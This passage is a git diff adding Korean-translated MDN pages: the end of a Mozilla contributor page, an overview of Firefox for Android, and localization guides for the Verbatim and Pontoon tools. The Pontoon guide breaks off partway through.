+<h3 id="Opportunity_to_learn_something_new"><strong>Opportunity to learn something new </strong></h3>
+
+<div>
+<p><span style="line-height: 1.5;">In writing code for an open source project, you may face problems you have not encountered before, which present learning opportunities for you. You can try out new tools and techniques in an open source project. For example, if you've never done any unit testing, and cannot get permission from your boss to do so in your regular job, writing some code for an open source project would be an excellent place to try it out. Contributing to open source gives you the opportunity to collaborate with and get to know many people around the world who have similar interests. Moreover, an open source organization like Mozilla has many contributors who can help you in solving problems you encounter.</span> If you're just getting started contributing, you can look for "mentored" bugs, where an experienced contributor has offered to help a newcomer fix them.</p>
+
+<h3 id="What_can_I_get_by_contributing"><strong>What can I get by contributing ? </strong></h3>
+
+<p><span style="line-height: 1.5;">Exploring many things and getting recognition in the community -- these are the intangible benefits of contributing to Mozilla. While we can't guarantee specific tangible benefits, many valued contributors receive free Mozilla gear and invitations to Mozilla-related events, and are first in line to be considered for internships. Moreover, your experience in contributing to an open source project might help you find a job. </span><span style="line-height: 1.5;">More and more employers of developers are looking at open source contributions. They like to see that you're blogging and contributing to mailing lists, and they really like to see you listed as a committer on an open source project. It can also help with the work experience section of your resume. </span></p>
+
+<h3 id="How_can_I_contribute_to_Mozilla"><strong>How can I contribute to Mozilla ? </strong></h3>
+
+<p><span style="line-height: 1.5;">Mozilla에 기여할 수 있는 많은 프로젝트 영역이 있습니다. You can find a current, complete list on the main Mozilla <a href="https://www.mozilla.org/contribute">참여</a> page. Some areas that may interest you as a developer include:</span></p>
+
+<ul>
+ <li><a href="http://www.whatcanidoformozilla.org/">Coding</a></li>
+ <li><a href="http://www.whatcanidoformozilla.org/">Web development</a></li>
+ <li><a href="/en-US/Firefox_OS/Developing_Gaia">Firefox OS</a></li>
+ <li><a href="https://quality.mozilla.org/teams/">QA</a></li>
+ <li><a href="https://wiki.mozilla.org/Marketplace/Contributing/Addons">Add-ons</a></li>
+ <li><a href="https://wiki.mozilla.org/Marketplace/Contributing/Apps">Apps</a></li>
+ <li><a href="/en-US/docs/MDN/Getting_started">Developer documentation (here on MDN)</a></li>
+</ul>
+</div>
+</div>
+
+<div class="column-container dev-program-block">
+<div class="column-half" id="Developer_discussions">
+<h2 id="QA_on_Stack_Overflow_See_all_QA...">Q&amp;A on Stack Overflow <a class="heading-link" href="http://stackoverflow.com/r/mozilla">See all Q&amp;A...</a></h2>
+
+<p>We have Q&amp;A to discuss challenges and issues when developing, in particular for Firefox OS and the Open Web on mobile. It's available on Stack Overflow under the easy URL <a href="http://stackoverflow.com/r/mozilla">http://stackoverflow.com/r/mozilla</a>.</p>
+
+<div class="stack-form">Stack form</div>
+
+<h3 id="Latest_QA_Topics">Latest Q&amp;A Topics</h3>
+</div>
+
+<div class="column-half dev-program-hacks dev-program-block"> </div>
+</div>
+
+<p class="dev-program-block"><img alt="Developers at a Firefox OS workshop in Madrid." src="https://mdn.mozillademos.org/files/7479/PhonesUp.jpg" style="display: block; height: 359px; margin: 0px auto; max-width: 100%; width: 720px;"></p>
+
+<div class="column-container dev-program-block">
+<div class="column-7 dev-program-events">
+<h2 id="Mozilla는_어디에_있나요_View_attendees_and_details_on_our_Events_page...">Mozilla는 어디에 있나요? <a class="heading-link" href="https://developer.mozilla.org/en/events">View attendees and details on our Events page... </a></h2>
+
+<p>Here is a listing of events where Mozilla representatives will be speaking. 대화를 꼭 나눠보세요!</p>
+</div>
+
+<div class="column-5">
+<h2 id="관련_자원들">관련 자원들</h2>
+
+<ul class="no-bullets">
+ <li><a href="http://www.youtube.com/user/mozhacks">Mozilla Hacks on YouTube</a>
+
+  <ul>
+   <li><a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqIHIUUv08hBCHq1OgPKhdo0">Firefox OS 동영상</a></li>
+   <li><a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqLZNY22xKbTEzMfYo9PXAlm">Firefox 개발자 도구 동영상</a></li>
+  </ul>
+ </li>
+ <li><a href="https://twitter.com/mozhacks">@mozhacks on Twitter</a></li>
+</ul>
+</div>
+</div>
+</div>
diff --git a/files/ko/mozilla/안드로이드용_파이어폭스/index.html b/files/ko/mozilla/안드로이드용_파이어폭스/index.html
new file mode 100644
index 0000000000..131f5749fa
--- /dev/null
+++ b/files/ko/mozilla/안드로이드용_파이어폭스/index.html
@@ -0,0 +1,47 @@
+---
+title: Firefox for Android
+slug: Mozilla/안드로이드용_파이어폭스
+translation_of: Mozilla/Firefox_for_Android
+---
+<p>점점 더 많은 사람들에게 있어서 모바일 기기가 웹에 접속하는 주요한, 더 나아가서 유일한 방법이 되고 있습니다. <a href="https://www.mozilla.org/ko/mobile/">안드로이드용 Firefox</a>(코드네임 Fennec)는 개방적이고, 수정이 자유롭고, 표준에 기반한 데스크탑 Firefox와 비슷한 브라우저입니다.</p>
+<p>안드로이드용 Firefox는 XUL 대신 기본 안드로이드 위젯에서 만들어진 UI를 사용합니다. 이를 통해 처음 구동 시간과 같은 성능을 향상시키고 메모리 절감 효과를 얻었습니다.</p>
+<p> </p>
+<h2 id="안드로이드용_Firefox에_기여하기">안드로이드용 Firefox에 기여하기</h2>
+<p>안드로이드용 Firefox에 대한 정보를 얻을 수 있는 가장 좋은 시작점은 <a class="link-https" href="https://wiki.mozilla.org/Mobile">프로젝트 위키 페이지</a>입니다.</p>
+<p>다음과 같은 활동을 통해서 안드로이드용 Firefox를 만들고 개선하는데 도움을 줄 수 있습니다:</p>
+<ul>
+ <li><a class="link-https" href="https://wiki.mozilla.org/Mobile/Testdrivers_Program">테스트</a>에 도움 주기
+  <ul>
+   <li>모바일 게코(gecko)와 주요 사이트의 호환성 - <a href="/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing" title="https://developer-new.mozilla.org/en-US/docs/Mozilla/Firefox_for_Android/Compatibility_Testing">자세한 정보</a> 살펴보기</li>
+  </ul>
+ </li>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/#mobile">IRC</a>나 <a class="link-https" href="https://wiki.mozilla.org/Mobile/Notes">수요일 개발자 회의</a>를 통해 개발팀과 연락하기</li>
+ <li><a class="external" href="http://planet.firefox.com/mobile/">플래닛 firefox</a>와 <a class="link-https" href="https://twitter.com/#!/mozmobile" title="https://twitter.com/#!/mozmobile">트위터</a>를 통해 최신 프로젝트 뉴스 확인</li>
+ <li><a href="https://wiki.mozilla.org/Mobile/Fennec/Android" title="https://wiki.mozilla.org/Mobile/Fennec/Android">안드로이드용 Firefox 빌드하고 수정하기</a> (Fennec)</li>
+</ul>
+<h2 id="모바일_웹_개발">모바일 웹 개발</h2>
+<p><a href="/En/Mobile" title="En/Mobile">모바일 기기를 위한 웹사이트 디자인</a>에 가이드 문서를 올리고 있습니다.</p>
+<p>안드로이드용 Firefox를 사용하면 기기의 다양한 기능을 사용할 수 있는 API를 사용할 수 있습니다. 이를 통해 웹과 네이티브 어플리케이션 사이의 차이를 줄일 수 있습니다:</p>
+<ul>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/" title="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">배터리 </a></li>
+ <li><a href="/en/DOM/Using_the_Camera_API" title="Using the Camera API">카메라</a></li>
+ <li><a href="/en/API/WebTelephony/Introduction_to_WebTelephony" title="Introduction to WebTelephony">WebTelephony</a></li>
+ <li><a href="/en/API/WebSMS/Introduction_to_WebSMS" title="Introduction to WebSMS">WebSMS</a></li>
+ <li><a href="/En/Using_geolocation" title="Using geolocation">위치정보</a></li>
+ <li><a href="/en/Detecting_device_orientation" title="https://developer.mozilla.org/en/detecting_device_orientation">Orientation</a></li>
+</ul>
+<p>안드로이드용 Firfox를 <a class="link-https" href="https://www.mozilla.org/en-US/mobile/">안드로이드 기기에 설치</a>하거나 <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">안드로이드 에뮬레이터를 사용해서 데스크탑에서 실행</a>해 봄으로써 사이트를 테스트해 볼 수 있습니다.</p>
+<h2 id="모바일_부가기능_제작">모바일 부가기능 제작</h2>
+<p>안드로이드용 Firefox는 다른 게코 기반의 어플리케이션과 동일한 <a href="/en/Extensions" title="en/Extensions">확장 시스템</a>을 통해서 <a href="/en/Extensions/Mobile" title="en/Extensions/Firefox_on_Android">부가 기능을 지원</a>합니다. 새로운 확장 시스템을 만들지 않았습니다. 이 말은 데스크탑용 부가 기능을 만들던 것과 <a href="/en/Building_an_Extension" title="en/Building_an_Extension">동일한 과정</a>을 통해서 안드로이드용 Firefox의 부가기능을 만들 수 있다는 말입니다. 하지만 데스크탑용 Firefox 부가 기능이 <strong>자동으로 작동하지는 않습니다</strong>. 사용자 인터페이스가 너무 다르기 때문입니다.</p>
+<div class="note">
+ 안드로이드용 Firefox에는 <code>install.rdf</code>에 지정되어야 하는 독자적인 어플리케이션 인식자가 있습니다. 인식자는 <code>{aa3c5121-dab2-40e2-81ca-7ea25febc110}</code>입니다.</div>
+<p>기존의 재시작 해야만 하는 부가기능과 <a href="/en/Extensions/Bootstrapped_extensions" title="en/Extensions/Bootstrapped_extensions">재시작이 필요없는</a> 부가기능은 동일한 접근방법을 가지고 있습니다. 부가기능을 설치하거나 삭제할 때 재시작을 해야만 하는 방식은 사용자 경험에 많은 영향을 미치기 때문에 가능하다면 재시작이 필요없는 방식이 선호됩니다.</p>
+<h3 id="기본_개요">기본 개요</h3>
+<ul>
+ <li>UI에 XUL이 없기 때문에 UI의 추가나 변경 기능은 필요가 없습니다.</li>
+ <li><code>gBrowser</code> 같은 내부 코드와 객체가 존재하지 않습니다. 내부 코드에 대해서는 안드로이드용 Firefox의 <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js" title="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js"><code>browser.js</code></a>를 참조하세요. 많은 수의 기본 기능들이 위치하고 있습니다.</li>
+ <li>Services like <code>nsIPromptService</code>나 <code>nsIAlertsService</code> 같은 서비스는 안드로이드의 기본 UI를 사용하도록 구현되었습니다.</li>
+ <li>안드로이드의 기본 UI를 다루는 <a href="/en/Extensions/Mobile/API/NativeWindow" title="en/Extensions/Mobile/NativeWindow"><code>NativeWindow</code></a> 자바스크립트 객체가 있습니다.</li>
+</ul>
+<h2 id="안드로이드용_Firefox_도움말">안드로이드용 Firefox 도움말</h2>
+<p>안드로이드용 Firefox를 사용하기 위한 문서와 도움말이 <a class="external" href="http://support.mozilla.org/mobile" title="http://support.mozilla.org/mobile">Mozilla Support website</a>를 통해서 제공되고 있습니다.</p>
diff --git a/files/ko/mozilla/지역화/index.html b/files/ko/mozilla/지역화/index.html
new file mode 100644
index 0000000000..fda2a6a834
--- /dev/null
+++ b/files/ko/mozilla/지역화/index.html
@@ -0,0 +1,26 @@
+---
+title: Mozilla 지역화
+slug: Mozilla/지역화
+tags:
+  - l10n
+  - 모질라
+  - 번역
+  - 지역화
+translation_of: Mozilla/Localization
+---
+<p><span class="seoSummary"><strong>지역화</strong>(L10n) 는 소프트웨어 사용자 인터페이스를 한 언어에서 다른 언어로 번역하고 다른 문화에 적합하도록 맞추는 과정입니다. 이러한 자원들은 지역화에 포함된 기술적 측면에 관심있는 모두를 위한것입니다. 모든 기여자들과 개발자들을 위한 것입니다.</span></p>
+
+<h2 id="참고">참고</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Project:MDN/Localizing" title="/en-US/docs/Project:MDN/Localizing">Localizing MDN</a></dt>
+ <dd>이 자원은 여기 MDN 문서의 지역화를 커버합니다.</dd>
+</dl>
+
+<p><a href="https://developer.mozilla.org/en-US/Apps/Build/Localization">App localization</a>(응용프로그램 지역화)</p>
+
+<p>     이 문서들은 파이어폭스 OS 앱을 포함한, 앱 지역화에 좀 더 특별히 적용됩니다.</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/L10n">L10n</a></p>
+
+<p>     파이어폭스 OS를 지역화하기 위한 L10n API에 대한 참고 문서</p>
diff --git a/files/ko/mozilla/지역화/localizing_with_verbatim/index.html b/files/ko/mozilla/지역화/localizing_with_verbatim/index.html
new file mode 100644
index 0000000000..6f01ebb051
--- /dev/null
+++ b/files/ko/mozilla/지역화/localizing_with_verbatim/index.html
@@ -0,0 +1,125 @@
+---
+title: Verbatim을 이용해 지역화하기
+slug: Mozilla/지역화/Localizing_with_Verbatim
+translation_of: Mozilla/Localization/Localizing_with_Pontoon
+---
+<p><span class="seoSummary">Verbatim은 모질라 웹 컨텐츠들을 지역하기 위한 웹 기반의 툴(정확힌 모질라에서 호스트된 Pootle 인스턴스)입니다 . 여러분은 모든 언어를 지원할수 있는 이 툴을 이용해 여러가지 모질라 프로젝트들을 지역화할수 있습니다. 이 가이드는 여러분을 보통의 모질라 웹 프로젝트를 지역화 하는 방법을 소개할 것입니다.</span>이 튜토리얼은 여러분에게 Verbatim을 이용해 여러분이 지역화 커뮤니티에 공헌하기 위해 모질라 프로젝트를 지역화 하는 데에 단단한 기반을 제공해 줄 것입니다. 우리는 어떤 모질라 웹 프로젝트들이 Verbatim을 이용하고 있는 지, Verbatim을 어떻게 사용하기 시작할지,  그리고 Verbatim을 이용해서 보통 이루어진 일들에 대해서 다룰 것입니다.</p>
+<h2 id="Verbatim을_사용하기_시작하기">Verbatim을 사용하기 시작하기</h2>
+<p>Verbatim이 온라인에 기반되어 있으므로, 번역자들은 Verbatim을 이용하기 위해서 무조건 인터넷에 연결되어 있어야 합니다. There are essentially two ways to get started with Verbatim: start a new localization or join an existing localization community's efforts. Either way, you will need to follow these steps to start working on a Verbatim project.</p>
+<table style="width: 100%; border-style: solid; border-color: rgb(0,0,0);">
+ <thead>
+  <tr style="text-align: center;">
+   <th scope="col" style="text-align: center;">Verbatim에서 새로운 지역화를 시작하기</th>
+   <th scope="col" style="text-align: center;">Verbatim에서 진행중인 지역화에 참여하기</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <ol>
+     <li>Point your browser to <a class="external" href="http://localize.mozilla.org/">http://localize.mozilla.org</a>. This is where Verbatim is hosted.</li>
+    </ol>
+   </td>
+   <td>
+    <ol>
+     <li>Point your browser to <a class="external" href="http://localize.mozilla.org/">http://localize.mozilla.org</a>. This is where Verbatim is hosted.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <ol start="2">
+     <li>If you have a Mozilla LDAP account, simply sign in using your LDAP credentials. If not, register for an account and sign in once you've completed registration. The links for both are located in the upper right-hand corner of the page.</li>
+    </ol>
+   </td>
+   <td>
+    <ol start="2">
+     <li>If you have a Mozilla LDAP account, simply sign in using your LDAP credentials. If not, register for an account and sign in once you've completed registration. The links for both are located in the upper right-hand corner of the page.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <ol start="3">
+     <li>File a <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;blocked=&amp;bug_file_loc=https%3A%2F%2Flocalize.mozilla.org%2F&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_blocking_191=---&amp;cf_blocking_192=---&amp;cf_status_191=---&amp;cf_status_192=---&amp;cf_status_firefox10=---&amp;cf_status_firefox11=---&amp;cf_status_firefox8=---&amp;cf_status_firefox9=---&amp;cf_tracking_firefox10=---&amp;cf_tracking_firefox11=---&amp;cf_tracking_firefox8=---&amp;cf_tracking_firefox9=---&amp;comment=I%20would%20like%20to%20request%20that%20you%20add%20the%20%5Binsert%20your%20locale%20code%20here%5D%20as%20a%20new%20localization%20in%20Verbatim.%0D%0A%0D%0A%5BAdd%20any%20other%20comments%20you%20may%20have%20here.%5D&amp;component=Verbatim&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-4=X&amp;flag_type-607=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Webtools&amp;qa_contact=verbatim%40webtools.bugs&amp;rep_platform=All&amp;requestee_type-325=&amp;requestee_type-4=&amp;requestee_type-607=&amp;short_desc=Request%20for%20new%20localization%20on%20Verbatim&amp;status_whiteboard=&amp;target_milestone=---&amp;version=Trunk" title="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;blocked=&amp;bug_file_loc=https%3A%2F%2Flocalize.mozilla.org%2F&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_blocking_191=---&amp;cf_blocking_192=---&amp;cf_status_191=---&amp;cf_status_192=---&amp;cf_status_firefox10=---&amp;cf_status_firefox11=---&amp;cf_status_firefox8=---&amp;cf_status_firefox9=---&amp;cf_tracking_firefox10=---&amp;cf_tracking_firefox11=---&amp;cf_tracking_firefox8=---&amp;cf_tracking_firefox9=---&amp;comment=I%20would%20like%20to%20request%20that%20you%20add%20the%20%5Binsert%20your%20locale%20code%20here%5D%20as%20a%20new%20localization%20in%20Verbatim.%0D%0A%0D%0A%5BAdd%20any%20other%20comments%20you%20may%20have%20here.%5D&amp;component=Verbatim&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-4=X&amp;flag_type-607=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Webtools&amp;qa_contact=verbatim%40webtools.bugs&amp;rep_platform=All&amp;requestee_type-325=&amp;requestee_type-4=&amp;requestee_type-607=&amp;short_desc=Request%20for%20new%20localization%20on%20Verbatim&amp;status_whiteboard=&amp;target_milestone=---&amp;version=Trunk">bug</a> using this prefilled bugzilla template. Add your locale code and language name to the description field, as well as any other information you'd like to share. See the following example.</li>
+    </ol>
+    <div class="note">
+     <strong>Example</strong>: I would like to request that you add the <em><strong>en-US</strong></em> as a new localization in Verbatim. The langauge is <em><strong>English</strong></em>. Also, I like cookies. Lots and lots of cookies. I can easily be motivated by any and all baked goods.</div>
+   </td>
+   <td>
+    <ol start="3">
+     <li><a class="link-https" href="https://wiki.mozilla.org/Category:L10n_Teams" title="https://wiki.mozilla.org/Category:L10n_Teams">Contact the community</a> to find out which projects they need you to concentrate your efforts on. See the following example for what you could include in your email to the community leaders.</li>
+    </ol>
+    <div class="note">
+     <strong>Example</strong>: I would like to join your localization efforts on Verbatim for this locale. Where would be the best place for me to begin? Also, I would like to buy you a drink to encourage you to let me join the team!</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>Now that you're registered and logged in, we'll outline the general translation workflow, using the <a class="link-https" href="https://localize.mozilla.org/projects/fxhome/" title="https://localize.mozilla.org/projects/fxhome/">Firefox Home project</a> as our example.</p>
+<h2 id="Translating">Translating</h2>
+<p>First thing's first, you need to find untranslated source strings to translate.</p>
+<ol>
+ <li>Navigate to the <a class="link-https" href="https://localize.mozilla.org/projects/mdn" title="https://localize.mozilla.org/projects/fxhome/">MDN project page</a>.</li>
+ <li>Select your language from the <strong>Overview</strong> tab.</li>
+ <li>Now click on the the <strong>Translate</strong> tab. This tab will display the directories for the MDN user interface.</li>
+ <li>Select the <strong>LC Messages</strong> directory. This is where the project's <code>.po</code> files containing translatable strings are located. You will now see an overview of each <code>.po</code> file.</li>
+ <li>In the summary column, the number of words untranslated will be shown as a link. Click on that link to be taken directly to the first string that needs to be translated.</li>
+</ol>
+<p>Now you're ready to contribute translations and you won't believe how easy it is. Check it out, you can contribute translations in two simple steps:</p>
+<ol>
+ <li>Simply type your translation in the box to below the English string</li>
+ <li>Select <strong>Suggest</strong>. If you have approval permission, select <strong>Submit</strong>. You will then be taken to the next string that needs translating.</li>
+ <li>Hooray! You're translating! Repeat steps one and two for the remainder of the untranslated strings.</li>
+</ol>
+<div class="note">
+ <strong>Note</strong>: If you come across a string that already has a suggested translation, you can still suggest your own translation if you feel it is more accurate.</div>
+<h3 id="Some_extra_cool_features_on_Verbatim">Some extra cool features on Verbatim</h3>
+<p>Here are a few additional items about the Verbatim interface that you should be aware of. Some of these can be seen in the screen shot below.</p>
+<p><a href="/@api/deki/files/5930/=Translate_Tab.png" title="Translate Tab.png"><img alt="Translate Tab.png" class="internal default" src="/@api/deki/files/5930/=Translate_Tab.png" style="width: 1113px; height: 221px;"></a></p>
+<ul>
+ <li>You can copy the English string over to the translation box by clicking the <strong>Copy</strong> icon.</li>
+ <li>You can use machine translation by clicking on the <strong>Google Translate</strong> icon.</li>
+ <li>You can move forward and back through the strings by clicking the <strong>Next</strong> and <strong>Previous</strong> buttons.</li>
+ <li>You can navigate directly to a particular string by clicking it's string number on the far left.</li>
+ <li>You can mark a translation as <strong>Fuzzy</strong> if you think there could be a better way to say something. This will mark it so it can be found and updated later. Remember that only submitted strings will be commited to the localization's repository, not fuzzy strings. If strings remain marked as fuzzy, the source string will appear in your localized version instead of a translated string.</li>
+ <li>You can add notes about a particular string in the <strong>Translator Comments</strong> section.</li>
+ <li>When translating a string with both singular and plural forms you will see two boxes on the right hand side. The box for the singular form is labeled <strong>Plural Form 0</strong> and the box for the plural form is labeled <strong>Plural Form 1</strong>.</li>
+</ul>
+<h2 id="Additional_tasks">Additional tasks</h2>
+<p>If you are a localizer with approval priviledges, here are a few more tasks that you should be aware of.</p>
+<h3 id="Review_suggested_translations">Review suggested translations</h3>
+<ol start="1">
+ <li>Click on the <strong>Review</strong> tab. It will show how many strings are waiting for review for each <code>.po</code> file.<a href="/@api/deki/files/5931/=Review_Tab1.png" title="Review Tab1.png"><img align="right" alt="Review Tab1.png" class="internal rwrap" src="/@api/deki/files/5931/=Review_Tab1.png?size=webview" style="width: 274px; height: 145px;"></a></li>
+ <li>Select <span style="font-weight: bold;">Review</span><strong> suggestions</strong> to start approving suggestions. It will take you to the first string that needs to be reviewed.</li>
+ <li>You can accept the suggestion by clicking the green checkmark or reject the suggestion by clicking the red X (see the screen shot from the previous section).</li>
+</ol>
+<p>It is important to note that <em>only</em> submitted strings will appear in your localized pages. Neither suggestions nor fuzzy strings will appear. Before commiting your final localized product, make sure all strings have been submitted.</p>
+<h3 id="Using_VCS_on_Verbatim">Using VCS on Verbatim</h3>
+<p>VCS (<strong>V</strong>ersion <strong>C</strong>ontrol <strong>S</strong>ystem) is the repository system we use to update the project's strings as well as push your translated content onto the web. The difference between the two tasks is simply a matter of which link to click.</p>
+<p><img align="right" alt="VCS.png" class="internal rwrap" src="/@api/deki/files/5925/=VCS.png" style="">To push your strings onto the web and see your changes, simply select the <strong>Commit to VCS</strong> link underneath each file name. It usually takes about an hour before you can see your changes on the project site.</p>
+<p>To update your <code>.po</code> files with new untranslated strings, simple select the <strong>Update from VCS</strong> link underneath each file name.</p>
+<p> </p>
+<div class="note">
+ <br>
+ <strong>Note</strong>: Some projects are automatically updated nightly while others require you to manually update them to receive new source content. Be sure to pay close attention to this, as it can alter your workflow.</div>
+<h2 id="Translating_Verbatim_files_with_an_external_application">Translating Verbatim files with an external application</h2>
+<p>While in the <strong>Translate</strong> tab, you have the option to export the <code>.po </code>and <code>.xliff</code> files and translate the strings with an external application (i.e., a text editor or translation memory tool).</p>
+<ol>
+ <li>To download the <code>.po</code> file, select the <strong>Download</strong> link found underneath each file name. To download the .<code>xliff</code> file, select the <strong>Download XLIFF</strong> link.</li>
+ <li>Proceed to translate the strings using your selected tool.</li>
+</ol>
+<p>Once you've finished your translations, you'll need to upload your file to Verbatim. You can do this from the <strong>Translate</strong> tab.</p>
+<ol>
+ <li>Navigate to the bottom of the files list to the <strong>Upload File</strong> section.</li>
+ <li>Click on the <strong>Browse</strong> button and select the file you wish to upload.</li>
+ <li>Select an upload setting from the options provided.</li>
+ <li>Once your upload setting has been selected, click <strong>Upload</strong>.</li>
+</ol>
+<div class="warning">
+ <p class="warning"><strong>Important</strong>: There have been some problems in the past with community members updating their source strings while others are in the process of localizing the previous updated files. This can cause community members to overlook new source strings, producing untranslated strings in a localized project. Be sure to coordinate these manual updates within your community to avoid this problem.</p>
+</div>
+<h2 id="You're_ready_to_go!">You're ready to go!</h2>
+<p>Whew! You've arrived at the end! Time to take what you've learned and put it to good use spreading Mozilla to everyone in your region. Have fun and <a class="link-mailto" href="mailto:l10n-drivers@mozilla.com" title="l10n-drivers@mozilla.com">let us know</a> if you run into any difficulties. We'll be happy to help in any way we can.</p>
+<p> </p>
+<p><a href="/en/Localization_Quick_Start_Guide:_Translation" title="Localization Quick Start Guide: Translation">Back: Quick Start Guide</a></p>
diff --git a/files/ko/mozilla/지역화/pontoon_지역화/index.html b/files/ko/mozilla/지역화/pontoon_지역화/index.html
new file mode 100644
index 0000000000..8d5664ca83
--- /dev/null
+++ b/files/ko/mozilla/지역화/pontoon_지역화/index.html
@@ -0,0 +1,135 @@
+---
+title: Pontoon 지역화 하기
+slug: Mozilla/지역화/Pontoon_지역화
+translation_of: Mozilla/Localization/Localizing_with_Pontoon
+---
+<p><a href="https://pontoon.mozilla.org" title="https://pontoon.mozilla.org">Pontoon</a> 은 보시면 알만한 (WYSIWYG) 웹 기반 지역화 (l10n) 도구 입니다. Mozilla 에서, 우리는 Firefox 부터 Mozilla.org 까지 모든 Mozilla 제품과 웹사이트들을 지역화하는데 Pontoon 을 사용합니다. Pontoon 은 지역화 작업흐름에서 기술적인 능력이 거의 없이도 사용할 수 있는 아주 간단하고 교육적인 도구입니다. 여기서 우리는 로그인 하는 것 부터 여러분의 공헌을 마무리하는 것 까지 Pontoon 을 사용해 프로젝트를 지역화하는 방법에 대해 이야기 할 것입니다. 그 과정 중에, 여러분이 지역화 공헌을 더 쉽게 그리고 더 효과적으로 할 수 있게 해주는 몇 가지 매력적인 특징들을 짚어볼 것입니다.</p>
+
+<div class="note">
+<p><strong>개발자이십니까?</strong> <a href="/en-US/docs/Implementing_Pontoon_Mozilla">implementing Pontoon in your project</a> 를 읽어 보시거나 <a href="https://github.com/mozilla/pontoon">GitHub</a> 에서 참여하는 방법에 대해 배워보세요.</p>
+</div>
+
+<h2 id="첫_단계">첫 단계</h2>
+
+<p><a href="https://pontoon.mozilla.org" title="https://pontoon.mozilla.org">Pontoon 홈페이지</a>는 아주 사용하기 쉽습니다. 프로젝트 지역화를 시작하기 위해, Persona 아이콘을 클릭하여 로그인 하세요. 다음으로, 여러분이 작업하고 싶은 프로젝트와 여러분의 언어를 드롭다운 메뉴에서 선택하세요. Pontoon 은 여러분이 지역화를 시작할 수 있도록 선택한 언어를 자동으로 열어줍니다. 참고하세요, 여기서 우리의 목적은 <a href="https://affiliates.mozilla.org/">Firefox Affiliates</a> 웹사이트를 사용해 Pontoon 의 기능과 작업흐름을 데모해 보는겁니다. 이것이 Photoon 에서 그것을 열었을 때 입니다:</p>
+
+<p><em><img alt="Browser app and workspace" src="https://mdn.mozillademos.org/files/8323/affiliates.png" style="height: 558px;"></em></p>
+
+<h3 id="메인_툴바">메인 툴바</h3>
+
+<p>보시다시피 인터페이스의 대부분은 번역되는 웹사이트에 달려있습니다. 단지 다음 항목들(왼쪽에서 오른쪽으로)을 포함하는 상단의 툴바가 Pontoon 에 속해있습니다:</p>
+
+<p><img alt="Main toolbar" src="https://mdn.mozillademos.org/files/8325/toolbar.png"></p>
+
+<h4 id="문자열의_리스트">문자열의 리스트</h4>
+
+<p>지역화를 위한 리스트를 가진 사이드바를 엽니다.</p>
+
+<h4 id="프로젝트_셀렉터_(제휴된것)"><span id="cke_bm_939S" style="display: none;"> </span>프로젝트 셀렉터 (제휴된것)</h4>
+
+<p>지역화를 위한 프로젝트를 변경합니다.</p>
+
+<h4 id="리소스_셀렉터_(홈페이지)"><span id="cke_bm_940S" style="display: none;"> </span>리소스 셀렉터 (홈페이지)</h4>
+
+<p>부속 페이지나 지역화 파일들같은 지역화를 위한 프로젝트 자원들을 변경합니다. 프로젝트를 위한 가용 자원이 없다면 숨깁니다.</p>
+
+<h4 id="sect1"><span id="cke_bm_941S" style="display: none;"> </span></h4>
+
+<dl>
+</dl>
+
+<h4 id="언어_셀렉터_(Slovenian)">언어 셀렉터 (Slovenian)</h4>
+
+<p>지역화를 위한 언어를 변경합니다.</p>
+
+<h4 id="Go">Go</h4>
+
+<p>프로젝트-자원-언어 선택을 엽니다.</p>
+
+<h4 id="진행상황_표시기">진행상황 표시기</h4>
+
+<p>지역화중인 자원에 대한 여러분의 진행상황을 나타냅니다. 팝업에서 세부사항을 볼 수 있습니다.</p>
+
+<dl>
+</dl>
+
+<h4 id="사용자_메뉴"><span id="cke_bm_943S" style="display: none;"> </span>사용자 메뉴</h4>
+
+<p>저장소에 커밋하거나 파일을 다운받고 로그아웃하기 같은 여러분만의 작업을 할 수 있도록 해줍니다.</p>
+
+<h4 id="정보_메뉴">정보 메뉴</h4>
+
+<p>키보드 단축기 목록과 기대하는 프로젝트 타임라인같은 중요한 정보를 줍니다.</p>
+
+<dl>
+</dl>
+
+<p>좋습니다, 이제 번역 좀 해볼까요?<span id="cke_bm_608E" style="display: none;"> </span></p>
+
+<dl>
+</dl>
+
+<h2 id="번역하기">번역하기</h2>
+
+<p>지역화를 위해 Pontoon 을 사용할 때 몇 가지 번역을 위한 옵션이 있습니다. 컨텍스트에서 번역하거나, 컨텍스트 밖에서 하거나, 둘의 조합에서 할 수 있습니다. 컨텍스트 단위 번역을 살펴봅시다.</p>
+
+<h3 id="컨텍스트에서">컨텍스트에서</h3>
+
+<p>Pontoon's in-context translation mode is what puts it above others. 웹 페이지(또는 웹 앱)를 열고 페이지의 실시간 편집을 활성화합니다. 여기 여러분이 번역할 첫번째 문자열이 있습니다:</p>
+
+<p><img alt="In-context localization" src="https://mdn.mozillademos.org/files/8331/in-context.png"></p>
+
+<ol>
